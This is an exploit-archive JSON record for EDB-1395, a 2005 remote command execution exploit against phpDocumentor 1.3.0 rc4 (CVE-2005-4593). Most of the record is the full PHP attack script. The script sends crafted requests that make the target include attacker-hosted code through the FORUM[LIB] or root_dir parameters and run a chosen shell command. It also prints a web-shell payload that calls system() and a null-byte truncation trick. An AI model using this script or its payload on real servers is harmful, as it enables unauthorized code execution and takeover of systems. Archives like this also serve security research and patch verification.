{"exploit":{"id":"EDB-1395","name":"phpDocumentor 1.3.0 rc4 - Remote Command Execution","description":"phpDocumentor 1.3.0 rc4 - Remote Command Execution","cves":["CVE-2005-4593"],"author":"rgod","published":"2005-12-29","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1395","path":"exploits/php/webapps/1395.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1395.php","vulnerabilities":[{"id":"CVE-2005-4593","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in phpDocumentor 1.3.0 rc4 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary code via a URL in the (1) FORUM[LIB] parameter in Documentation/tests/bug-559668.php and (2) the root_dir parameter in docbuilder/file_dialog.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-4593","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-4593"},"updatedAt":"2024-08-07T23:53:27.216Z","retrievedAt":"2026-11-26T19:06:22.813Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1395.png?v=2","url":"https://exploitbin.com/exploits/EDB-1395","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1395/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1395/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n#   ---phpdocu_130rc4_incl_xpl.php                            13.06 29/12/2005 #\n#                                                                              #\n#              PhpDocumentor <= 1.3.0 rc4 remote commands execution            #\n#                              coded by rgod                                   #\n#                    site: http://rgod.altervista.org                          #\n#                                                                              #\n#  usage: launch from Apache, fill in requested fields, then go!               #\n#                                                                              #\n# Sun-Tzu: \"Confront your soldiers with the deed itself; never let them know   #\n# your design.  When the outlook is bright, bring it before their eyes; but    #\n# tell them nothing when the situation is gloomy.\"                             #\n\nerror_reporting(0);\nini_set(\"max_execution_time\",0);\nini_set(\"default_socket_timeout\", 5);\nob_implicit_flush (1);\n\necho'<html><head><title>**PhpDocumentor <= 1.3.0 rc4 remote commands execution**\n</title><meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\n<style type=\"text/css\"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:\n#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img\n{background-color:   #FFFFFF   !important}  input  {background-color:    #303030\n!important} option {  background-color:   #303030   !important}         textarea\n{background-color: #303030 !important} input {color: #1CB081 !important}  option\n{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox\n{background-color: #303030 !important} select {font-weight: normal;       color:\n#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;\nbackground-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:\n0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em\n!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em\n!important} \th2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em\n!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:\nnormal !important} *{text-decoration: none !important} a:link,a:active,a:visited\n{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;\ncolor : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;\nfont-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;\nfont-weight:bold; font-style: italic;}--></style></head><body><p class=\"Stile6\">\n**PhpDocumentor <= 1.3.0 rc4 remote commands execution**</p><p class=\"Stile6\">a\nscript  by  rgod  at        <a href=\"http://rgod.altervista.org\"target=\"_blank\">\nhttp://rgod.altervista.org</a></p><table width=\"84%\"><tr><td width=\"43%\">  <form\nname=\"form1\" method=\"post\"   action=\"'.$SERVER[PHP_SELF].'\">           <p><input\ntype=\"text\"  name=\"host\"> <span class=\"Stile5\">* hostname (ex:www.sitename.com)\n</span></p> <p><input type=\"text\" name=\"path\">  <span class=\"Stile5\">* path (ex:\n/phpdocumentor/  or just / ) </span></p><p><input type=\"text\" name=\"CMD\">  <span\nclass=\"Stile5\"> * specify a command     </span></p>    <p>    <input type=\"text\"\nname=\"LOCATION\"><span class=\"Stile5\">* remote location ( ex: http://www.somesite\n.com, without traling slashes)</span></p><p><input type=\"text\" name=\"port\"><span\nclass=\"Stile5\">specify  a  port other than  80 (default value)</span> </p>   <p>\n<input  type=\"text\" name=\"proxy\"><span class=\"Stile5\">send  exploit  through  an\nHTTP proxy (ip:port)</span> </p> <p>          <input type=\"submit\" name=\"Submit\"\nvalue=\"go!\"></p></form></td></tr></table></body></html>';\n\nfunction show($headeri)\n{\n  $ii=0;$ji=0;$ki=0;$ci=0;\n  echo '<table border=\"0\"><tr>';\n  while ($ii <= strlen($headeri)-1){\n    $datai=dechex(ord($headeri[$ii]));\n    if ($ji==16) {\n      $ji=0;\n      $ci++;\n      echo \"<td>&nbsp;&nbsp;</td>\";\n      for ($li=0; $li<=15; $li++) {\n        echo \"<td>\".$headeri[$li+$ki].\"</td>\";\n\t\t}\n      $ki=$ki+16;\n      echo \"</tr><tr>\";\n    }\n    if (strlen($datai)==1) {\n      echo \"<td>0\".$datai.\"</td>\";\n    }\n    else {\n      echo \"<td>\".$datai.\"</td> \";\n    }\n    $ii++;$ji++;\n  }\n  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {\n    echo \"<td>&nbsp&nbsp</td>\";\n  }\n  for ($li=$ci*16; $li<=strlen($headeri); $li++) {\n    echo \"<td>\".$headeri[$li].\"</td>\";\n  }\n  echo \"</tr></table>\";\n}\n\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\n\nfunction sendpacket() //2x speed\n{\n  global $proxy, $host, $port, $packet, $html, $proxy_regex;\n  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n  if ($socket < 0) {\n    echo \"socket_create() failed: reason: \" . socket_strerror($socket) . \"<br>\";\n  }\n  else {\n    $c = preg_match($proxy_regex,$proxy);\n    if (!$c) {echo 'Not a valid prozy...';\n    die;\n    }\n  echo \"OK.<br>\";\n  echo \"Attempting to connect to \".$host.\" on port \".$port.\"...<br>\";\n  if ($proxy=='') {\n    $result = socket_connect($socket, $host, $port);\n  }\n  else {\n    $parts =explode(':',$proxy);\n    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';\n    $result = socket_connect($socket, $parts[0],$parts[1]);\n  }\n  if ($result < 0) {\n    echo \"socket_connect() failed.\\r\\nReason: (\".$result.\") \" . socket_strerror($result) . \"<br><br>\";\n  }\n  else {\n    echo \"OK.<br><br>\";\n    $html= '';\n    socket_write($socket, $packet, strlen($packet));\n    echo \"Reading response:<br>\";\n    while ($out= socket_read($socket, 2048)) {$html.=$out;}\n    echo nl2br(htmlentities($html));\n    echo \"Closing socket...\";\n    socket_close($socket);\n  }\n  }\n}\n\nfunction sendpacketii($packet)\n{\n  global $proxy, $host, $port, $html, $proxy_regex;\n  if ($proxy=='') {\n    $ock=fsockopen(gethostbyname($host),$port);\n    if (!$ock) {\n      echo 'No response from '.htmlentities($host); die;\n    }\n  }\n  else {\n\t$c = preg_match($proxy_regex,$proxy);\n    if (!$c) {\n      echo 'Not a valid prozy...';die;\n    }\n    $parts=explode(':',$proxy);\n    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';\n    $ock=fsockopen($parts[0],$parts[1]);\n    if (!$ock) {\n      echo 'No response from proxy...';die;\n\t}\n  }\n  fputs($ock,$packet);\n  if ($proxy=='') {\n    $html='';\n    while (!feof($ock)) {\n      $html.=fgets($ock);\n    }\n  }\n  else {\n    $html='';\n    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\n      $html.=fread($ock,1);\n    }\n  }\n  fclose($ock);echo nl2br(htmlentities($html));\n}\n\n$host=$_POST[host];$path=$_POST[path];\n$port=$_POST[port]; $CMD=$_POST[CMD];\n$LOCATION=$_POST[LOCATION];\n\n\nif (($host<>'') and ($path<>'') and ($CMD<>'') and ($LOCATION<>''))\n{\n  $port=intval(trim($port));\n  if ($port=='') {$port=80;}\n  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}\n  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}\n  $host=str_replace(\"\\r\\n\",\"\",$host);\n  $path=str_replace(\"\\r\\n\",\"\",$path);\n  $CMD=urlencode($CMD);\n\n  $packet=\"GET \".$p.\"Documentation/tests/bug-559668.php?cmd=\".$CMD.\"&FORUM[LIB]=\".$LOCATION.\" HTTP/1.1\\r\\n\";\n  $packet.=\"User-Agent: Shareaza v1.x.x.xx\\r\\n\";\n  $packet.=\"Host: \".$host.\"\\r\\n\";\n  $packet.=\"Connection: Close\\r\\n\\r\\n\";\n  show($packet);\n  sendpacketii($packet);\n  if (eregi(\"HiMaster!\",$html)) {echo \"Exploit succeeded\"; die;}\n                           else {echo \"Trying Step 2...<br>\";}\n\n  $packet=\"GET \".$p.\"docbuilder/file_dialog.php?cmd=\".$CMD.\"&root_dir=\".$LOCATION.\" HTTP/1.1\\r\\n\";\n  $packet.=\"User-Agent: SnoopRob/x.x\\r\\n\";\n  $packet.=\"Host: \".$host.\"\\r\\n\";\n  $packet.=\"Connection: Close\\r\\n\\r\\n\";\n  show($packet);\n  sendpacketii($packet);\n  if (eregi(\"HiMaster!\",$html)) {echo \"Exploit succeeded\"; }\n                           else {echo \"Exploit failed...\";}\n}\nelse\n{echo \"Note: on remote location prepare this code in<br>\n        http:/[remote_location]/classes/db/PearDb.php/index.html<br>\n        and in<br>\n        http://[remote_location]/phpDocumentor/common.inc.php/index.html:<br>\";\n echo  nl2br(htmlentities(\"\n        <?php\n        echo\\\"HiMaster!\\\";ini_set(\\\"max_execution_time\\\",0);system(\\$cmd);\n        ?>\n        \"));\n  echo \"<br>Note 2: if magic_quotes_off on target server<br>\n        you can truncate location name with a null char, ex.:<br>\n        http://[remote_location]/your_file.txt%00<br><br>\n        Fill * required fields, optionally specify a proxy...\";}\n\n?>\n\n# milw0rm.com [2005-12-29]","sha256":"46e8a56445680ebc1314e92e53d695324bd3aca7db4c0dc95ae0d7507a9c5bc7","bytes":8491,"fetchedAt":"2026-11-26T19:06:19.106Z","encoding":"utf-8 (display only; download retains original bytes)"}